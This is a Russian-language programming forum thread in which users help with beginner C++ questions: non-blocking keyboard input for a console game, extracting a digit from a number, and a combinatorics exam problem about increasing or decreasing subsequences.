BlessYou, подсказка: либо таймер, либо многопоточность.
Многопоточность уже советовали - я не в курсе, что это и как это, и прочитать вроде негде.
Вот с таймером самое интересное: для него использую функцию kbhit в библиотеке conio. Но kbhit слишком деревянный, двинуть О с ним - невозможно. Никак. Сколько по клаве не бей.
Iluhan, см. старый-старый демотиватор "Хочешь читать чужие смс? Забери телефон."
Автор: IwanS 28.5.2012, 5:54
BlessYou, ну я тебе могу только на c# написать, в с++ я не особо...
Автор: Dukat863 28.5.2012, 15:39
Цитата(BlessYou @ 27.5.2012, 23:19)
Помогите, пожалуйста, решить одну проблему. Суть этой программы в том, что движениями буквы О на экране управляет сам пользователь, а буква Х двигается сама. Проблема в том, что Х без О никак не двигается - только синхронно. Как сделать так, чтобы Х не ждала О и двигалась сама?
Язык - С++, консольное приложение.
Сейчас гляну.
EDIT: Вот ужас, писать { на одной строчке между if, else, for и комментариями это особый мазохизм, разбавленный полным отсутствием отступов.
Может так и компактнее, но ничего разобрать в этой каше невозможно. Пришлось исправлять сначала стиль, чтобы начать искать ошибку.
Для координат уже придумали обозначения X, Y, и Z. Зачем использовать A для горизонтали и B для вертикали?
Кстати, для чего по вашему нужна переменная aoc?
EDIT: Кажись разобрал. У тебя есть код
Код
int cx1=rand()%2;
, и есть
Код
if(cx1==0) //если сх==0, то Х двигается влево
Так вот, будет ли менять координаты или нет, зависит от того, что вернул
Код
int cx1=rand()%2;
. И ещё:
Код
int aoc=getch(); //контроль буквы О
int c=kbhit(); //?!
Вполне возможно, что программа ожидает ввода, поэтому и не двигается буква X.
P.S. Программу не запускал.
показать офф-топ
Интересно, сколько мозгов я сломал отдельно стоящей запятой, и отдельно стоящей точкой...
Автор: ~IL~ 28.5.2012, 17:05
попробуй с таймером
Автор: BlessYou 28.5.2012, 17:37
Dukat, "вполне возможно, что программа ожидает ввода" - так она и ожидает его. А надо, чтобы не ждала. Кроме того, Х двигается ВСЕГДА. Переменные cx1 и т.д. влияют только на направление.
Автор: Dukat863 28.5.2012, 17:41
Тогда нужно будет найти другую функцию ввода, чтобы программа работала между нажатиями.
Как вариант использовать SDL, хотя я не знаю как он будет работать с консольным приложением.
Автор: HaRuSpex 25.8.2012, 18:41
Незнаю как получше написать функцию по получению определенной цифры из числа.
Допустим у нас есть такая переменная
long int N=987654321;
и нам нужно найти 7ую позицию числа;
Можно найти вручную. Тоесть если 7позиция то делим на 1000000 и получаем остаток от деления на 10. В результате остается цифра 7
Но вдруг это будет 20ти значное число и для каждой позиции писать код как-то по "ламерски".
Написать такую функцию труда не составит но скорее всего у меня получится "грязный" код c объявлением десятка новых переменных и циклов. Хотелось бы узнать как бы вы автоматизировали этот процесс?
//програмирую на visual C++.
Автор: Psionic 25.8.2012, 21:05
Цитата
Незнаю как получше написать функцию по получению определенной цифры из числа.
Допустим у нас есть такая переменная
Ну простейший способ скновертить число в строку _itoa (гугли), а дальше по индексу... также можно поизвращатся с порядками, но это на любителя..
Автор: HaRuSpex 25.8.2012, 21:16
Цитата(Psionic @ 25.8.2012, 22:05)
Ну простейший способ скновертить число в строку _itoa (гугли), а дальше по индексу... также можно поизвращатся с порядками, но это на любителя..
Нужно получить (int) цифру из (long int) числа. itoa возвращает адрес на строку.
UPD: все разобрался спс
Автор: Dukat863 25.8.2012, 21:25
Код
#include <math.h>
int getPos(int number, int position)
{
return ( int(number / ( pow(10, position) )) % 10 );
}
Примерно вот так. Если нужно число длиннее (скажем, 64 битный int), то придётся повозиться.
Цитата(Psionic @ 25.8.2012, 22:05)
Ну простейший способ скновертить число в строку _itoa (гугли), а дальше по индексу... также можно поизвращатся с порядками, но это на любителя..
Вот так?
Код
#include <cstdio>
//long long number = 876543210987654321;
int getPos(long long number, int position)
{
char word[32]; //32 хватит всем
sprintf(word, "%lld",number);
return word[position-1];
}
Правда порядок тут слева направо, но потом исправим.
Автор: HaRuSpex 25.8.2012, 21:39
Цитата(Dukat863 @ 25.8.2012, 22:25)
int getPos(int number, int position)
{
return ( int(number / ( pow(10, position) )) % 10 );
}[/code]
Всего лишь одна строчка...
... гениально
показать офф-топ
А я так надеялся что лучшего решения чем у меня не найдётся
Код
int getPosition(long int number,int position)
{
for (int i=1;i<position;i++)
{
number=number/10;
}
number=number%10;
return number;
}
Автор: Psionic 26.8.2012, 0:01
Цитата(Dukat863 @ 25.8.2012, 21:25)
Код
#include <math.h>
#include <cstdio>
//long long number = 876543210987654321;
int getPos(long long number, int position)
{
char word[32]; //32 хватит всем
sprintf(word, "%lld",number);
return word[position-1];
}
Правда порядок тут слева направо, но потом исправим.
Ну примерно...б хотя в последней строчке не помешалобы написать (int)(word[position-1]-'0');
Автор: HaRuSpex 22.4.2013, 16:42
Задача.
В ряд записаны числа от 2 до 11 в некотором порядке
А)В любом ли случае можно вычеркнуть числа так что останется только 3 числа в порядке возрастания/убывания.
Б) 4 числа в порядке возрастания/убывания.
В)5 чисел в порядке возрастания/убывания.
Пример.
2.3.4.5.6.7.8.9.10.11
2.3.4.5.6.7.8.9.10.11 такое решение не проходит тк 2.10.11 расположены в порядке возрастания.
Эта задача по математике из ЕГЭ. Я не смог найти закономерность в расположение чисел и захотел перебрать все возможные комбинации с помощью с++. Незнаю как лучше реализовать. что бы перебрать все комбинации а их 10! И в каждой из комбинаций по разному можно вычеркивать числа. в итоге получится где то 60 млн комбинаций.
Как лучше перебрать все мозможные комбинации чисел от 2 до 11, в массиве из 10 элементов?
Я себе представляю 10 вложеных циклов и при каждом изменение значения одного из элементов массива проверять можно ли вычеркнуть так что бы не осталось чисел в порядке возрастания убывания. Но производительность такой программы оставляет желать лучшего.
Автор: IwanS 22.4.2013, 17:30
HaRuSpex, не понял задачи. Вычеркивать можно только прилегающие друг у другу числа или как хочешь? Возрастающие\убывающие - это только 3, 4, 5? 3, 4, 7 уже не подходят?
Автор: HaRuSpex 22.4.2013, 19:35
убывающие это как 8 7 6 так и 11 6 2. Возрастающие так же
вычеркивать можно любые числа.
Алгебраическая задача это доказать обратное условию задачи. Тоесть найти такую комбинацию цифр от 2х до 11 что бы если оставить 3/4/5 чисел они НЕ были расположены в порядке возрастания/убывания.
А если программировать то нужно перебрать 10!*10*9*8 =2 612 736 000 комбинаций (ну это абсолютно все варианты )
Автор: IwanS 22.4.2013, 22:35
HaRuSpex, тогда я не понял, почему в твоем примере решение не подходит.
Вообще, задача интересна только для пяти чисел. Три и четыре всегда можно найти. Ну и строгое математическое доказательство было бы интересно увидеть.
Автор: HaRuSpex 23.4.2013, 5:26
В задаче сказано "Всегда ли можно найти..". Это означает что надо найти такую комбинацию цифр при которой любые 3/4/5 чисел не будут возрастать/убывать. И получается что задача интересна только для 3х чисел а 4 и 5 легче найти. Ну да ладно.. Если найти математическое решение напишу сюда
Автор: Lustmord 23.4.2013, 12:57
Типа такое:
6 7 2 10 5 9 4 11 3 8
7 6 8 5 9 4 10 3 11 2
2 11 3 10 4 9 5 8 6 7
11 2 10 3 9 4 8 5 7 6
?
Автор: HaRuSpex 23.4.2013, 14:12
Цитата(Lustmord @ 23.4.2013, 13:57)
Типа такое:
6 7 2 10 5 9 4 11 3 8
7 6 8 5 9 4 10 3 11 2
2 11 3 10 4 9 5 8 6 7
11 2 10 3 9 4 8 5 7 6
?
Вроде как первое подходит. Нет 5 убывающих возрастающих чисел, но есть 4 возрастающих
6 7 2 10 5 9 4 11 3 8
6 7
2 10
5 9 4 11
3 8Второе не подходит
7 6 8 5 9 4 10 3 11 2
7
6 8
5 9
4 10
3 11
2третья
2 11 3 10 4 9 5 8 6 7
тут аж 6 подрят 2 3 4 5 6 7
четвертая
11 2 10 3 9 4 8 5 7 6
тут 2 3 4 5 7
Вообщем первая последовательность подходит. Поздравляю! Ты получил 1 балл (из 4х) за задание С6
Автор: Lustmord 23.4.2013, 14:32
Не правильно понял задачу...
Автор: HaRuSpex 23.4.2013, 17:51
Цитата(IwanS @ 22.4.2013, 23:35)
HaRuSpex, тогда я не понял, почему в твоем примере решение не подходит.
Вообще, задача интересна только для пяти чисел. Три и четыре всегда можно найти. Ну и строгое математическое доказательство было бы интересно увидеть.
Вот вообщем нашел саму задачу и решение к ней
http://webmath.exponenta.ru/mege/do/c6/18.html
Автор: IwanS 23.4.2013, 17:58
Цитата(HaRuSpex @ 23.4.2013, 18:51)
Вот вообщем нашел саму задачу и решение к ней
http://webmath.exponenta.ru/mege/do/c6/18.html
Если числа стоят например в порядке 8,7,9,5,11,2,3,6,4,10, то выбрать нельзя
8 - 9 - 10. Разве нет?
Автор: Lustmord 23.4.2013, 18:05
Цитата(IwanS @ 23.4.2013, 15:58)
Если числа стоят например в порядке 8,7,9,5,11,2,3,6,4,10, то выбрать нельзя
8 - 9 - 10. Разве нет?
Там имеется ввиду, про 5 чисел.
Цитата
Вот вообщем нашел саму задачу и решение к ней
Я оказывается тебя полностью не понял
Автор: HaRuSpex 23.4.2013, 18:15
Дак там же сказано что для 3х и 4х всегда можно найти последовательность. А это решение для 5ти уб/возр чисел подрят. Попробуйте найти здесь 5 чисел возр/убыв подрят
Цитата(Lustmord @ 23.4.2013, 19:05)
Там имеется ввиду, про 5 чисел.
Я оказывается тебя полностью не понял
Меня что то никто не понял)
Значит не правильно донёс информацию.
Автор: IwanS 23.4.2013, 19:15
А, понял. Прошу прощения
Русская версия Invision Power Board (http://www.invisionboard.com)
© Invision Power Services (http://www.invisionpower.com)